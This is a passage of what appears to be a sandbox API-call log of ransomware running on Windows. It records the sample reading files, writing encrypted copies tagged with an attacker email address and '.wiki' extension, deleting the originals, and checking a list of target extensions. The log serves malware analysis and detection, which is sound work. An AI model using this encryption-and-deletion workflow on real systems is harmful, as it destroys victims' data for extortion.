lpOverlapped=0x0) returned 1 [0045.391] WriteFile (in: hFile=0x1b4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0045.409] ReadFile (in: hFile=0x19c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.409] WriteFile (in: hFile=0x1b4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.409] SetEndOfFile (hFile=0x1b4) returned 1 [0045.409] CloseHandle (hObject=0x1b4) returned 1 [0045.850] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.851] SetEndOfFile (hFile=0x19c) returned 1 [0045.860] CloseHandle (hObject=0x19c) returned 1 [0045.861] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.861] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0045.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0045.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0045.861] lstrlenW (lpString=".doc") returned 4 [0045.861] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.861] lstrlenW (lpString=".docx") returned 5 [0045.861] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0045.861] lstrlenW (lpString=".pdf") returned 4 [0045.861] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.861] lstrlenW (lpString=".xls") returned 4 [0045.861] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.861] lstrlenW (lpString=".xlsx") returned 5 [0045.861] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0045.861] lstrlenW (lpString=".ppt") returned 4 [0045.861] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0045.861] lstrlenW (lpString=".zip") returned 4 [0045.861] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.861] lstrlenW (lpString=".rar") returned 4 [0045.861] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.861] lstrlenW (lpString=".bz2") returned 4 [0045.862] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.862] lstrlenW (lpString=".7z") returned 3 [0045.862] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0045.862] lstrlenW (lpString=".dbf") returned 4 [0045.862] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0045.862] lstrlenW (lpString=".1cd") returned 4 [0045.862] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0045.862] lstrlenW (lpString=".jpg") returned 4 [0045.862] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0045.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0045.862] lstrlenW (lpString=".doc") returned 4 [0045.862] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.862] lstrlenW (lpString=".docx") returned 5 [0045.862] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0045.862] lstrlenW (lpString=".pdf") returned 4 [0045.862] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.862] lstrlenW (lpString=".xls") returned 4 [0045.862] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.862] lstrlenW (lpString=".xlsx") returned 5 [0045.862] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0045.862] lstrlenW (lpString=".ppt") returned 4 [0045.862] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0045.862] lstrlenW (lpString=".zip") returned 4 [0045.862] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.862] lstrlenW (lpString=".rar") returned 4 [0045.862] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.862] lstrlenW (lpString=".bz2") returned 4 [0045.862] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.862] lstrlenW (lpString=".7z") returned 3 [0045.862] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.863] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0045.863] lstrlenW (lpString=".dbf") returned 4 [0045.863] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.863] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0045.863] lstrlenW (lpString=".1cd") returned 4 [0045.863] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.863] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0045.863] lstrlenW (lpString=".jpg") returned 4 [0045.863] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.863] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0045.863] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0045.863] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0046.158] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=16852) returned 1 [0046.166] CloseHandle (hObject=0x170) returned 1 [0046.168] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0046.174] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.177] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0046.185] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.185] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.185] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0046.185] GetLastError () returned 0x0 [0046.185] ReadFile (in: hFile=0x1b8, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0046.187] WriteFile (in: hFile=0x184, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0046.188] ReadFile (in: hFile=0x1b8, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.188] WriteFile (in: hFile=0x184, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0046.188] SetEndOfFile (hFile=0x184) returned 1 [0046.188] CloseHandle (hObject=0x184) returned 1 [0046.189] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.189] SetEndOfFile (hFile=0x1b8) returned 1 [0046.190] CloseHandle (hObject=0x1b8) returned 1 [0046.190] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0046.190] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0046.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0046.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0046.190] lstrlenW (lpString=".doc") returned 4 [0046.190] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.190] lstrlenW (lpString=".docx") returned 5 [0046.190] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0046.190] lstrlenW (lpString=".pdf") returned 4 [0046.190] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.190] lstrlenW (lpString=".xls") returned 4 [0046.190] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.190] lstrlenW (lpString=".xlsx") returned 5 [0046.190] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0046.190] lstrlenW (lpString=".ppt") returned 4 [0046.190] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0046.190] lstrlenW (lpString=".zip") returned 4 [0046.191] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.191] lstrlenW (lpString=".rar") returned 4 [0046.191] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.191] lstrlenW (lpString=".bz2") returned 4 [0046.191] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.191] lstrlenW (lpString=".7z") returned 3 [0046.191] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0046.191] lstrlenW (lpString=".dbf") returned 4 [0046.191] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0046.191] lstrlenW (lpString=".1cd") returned 4 [0046.191] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0046.191] lstrlenW (lpString=".jpg") returned 4 [0046.191] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0046.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0046.191] lstrlenW (lpString=".doc") returned 4 [0046.191] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.191] lstrlenW (lpString=".docx") returned 5 [0046.191] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0046.191] lstrlenW (lpString=".pdf") returned 4 [0046.191] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.191] lstrlenW (lpString=".xls") returned 4 [0046.191] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.191] lstrlenW (lpString=".xlsx") returned 5 [0046.191] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0046.191] lstrlenW (lpString=".ppt") returned 4 [0046.191] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0046.191] lstrlenW (lpString=".zip") returned 4 [0046.191] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.191] lstrlenW (lpString=".rar") returned 4 [0046.191] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.192] lstrlenW (lpString=".bz2") returned 4 [0046.192] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.192] lstrlenW (lpString=".7z") returned 3 [0046.192] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0046.192] lstrlenW (lpString=".dbf") returned 4 [0046.192] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0046.192] lstrlenW (lpString=".1cd") returned 4 [0046.192] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0046.192] lstrlenW (lpString=".jpg") returned 4 [0046.192] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.192] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0046.192] lstrlenW (lpString="MS.JPG") returned 6 [0046.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0046.193] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1061) returned 1 [0046.193] CloseHandle (hObject=0x1b8) returned 1 [0046.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0046.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0046.193] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.193] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0046.194] GetLastError () returned 0x0 [0046.194] ReadFile (in: hFile=0x1b8, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x425, lpOverlapped=0x0) returned 1 [0046.195] WriteFile (in: hFile=0x184, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x430, lpOverlapped=0x0) returned 1 [0046.196] ReadFile (in: hFile=0x1b8, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.196] WriteFile (in: hFile=0x184, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0046.196] SetEndOfFile (hFile=0x184) returned 1 [0046.197] CloseHandle (hObject=0x184) returned 1 [0046.197] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.197] SetEndOfFile (hFile=0x1b8) returned 1 [0046.198] CloseHandle (hObject=0x1b8) returned 1 [0046.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0046.198] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0046.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0046.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0046.198] lstrlenW (lpString=".doc") returned 4 [0046.198] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0046.198] lstrlenW (lpString=".docx") returned 5 [0046.198] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0046.198] lstrlenW (lpString=".pdf") returned 4 [0046.199] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0046.199] lstrlenW (lpString=".xls") returned 4 [0046.199] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0046.199] lstrlenW (lpString=".xlsx") returned 5 [0046.199] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0046.199] lstrlenW (lpString=".ppt") returned 4 [0046.199] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0046.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0046.199] lstrlenW (lpString=".zip") returned 4 [0046.199] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0046.199] lstrlenW (lpString=".rar") returned 4 [0046.199] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0046.199] lstrlenW (lpString=".bz2") returned 4 [0046.199] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0046.199] lstrlenW (lpString=".7z") returned 3 [0046.199] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0046.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0046.199] lstrlenW (lpString=".dbf") returned 4 [0046.199] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0046.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0046.199] lstrlenW (lpString=".1cd") returned 4 [0046.199] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0046.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0046.199] lstrlenW (lpString=".jpg") returned 4 [0046.199] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0046.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0046.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0046.199] lstrlenW (lpString=".doc") returned 4 [0046.199] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0046.199] lstrlenW (lpString=".docx") returned 5 [0046.199] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0046.199] lstrlenW (lpString=".pdf") returned 4 [0046.199] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0046.200] lstrlenW (lpString=".xls") returned 4 [0046.200] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0046.200] lstrlenW (lpString=".xlsx") returned 5 [0046.200] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0046.200] lstrlenW (lpString=".ppt") returned 4 [0046.200] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0046.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0046.200] lstrlenW (lpString=".zip") returned 4 [0046.200] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0046.200] lstrlenW (lpString=".rar") returned 4 [0046.200] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0046.200] lstrlenW (lpString=".bz2") returned 4 [0046.200] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0046.200] lstrlenW (lpString=".7z") returned 3 [0046.200] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0046.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0046.200] lstrlenW (lpString=".dbf") returned 4 [0046.200] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0046.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0046.200] lstrlenW (lpString=".1cd") returned 4 [0046.200] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0046.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0046.200] lstrlenW (lpString=".jpg") returned 4 [0046.200] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0046.200] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0046.200] lstrlenW (lpString="MS.PNG") returned 6 [0046.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0046.201] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1682) returned 1 [0046.201] CloseHandle (hObject=0x1b8) returned 1 [0046.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0046.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0046.201] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.201] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0046.201] GetLastError () returned 0x0 [0046.201] ReadFile (in: hFile=0x1b8, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x692, lpOverlapped=0x0) returned 1 [0046.523] WriteFile (in: hFile=0x184, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0046.524] ReadFile (in: hFile=0x1b8, lpBuffer=0x3650020, 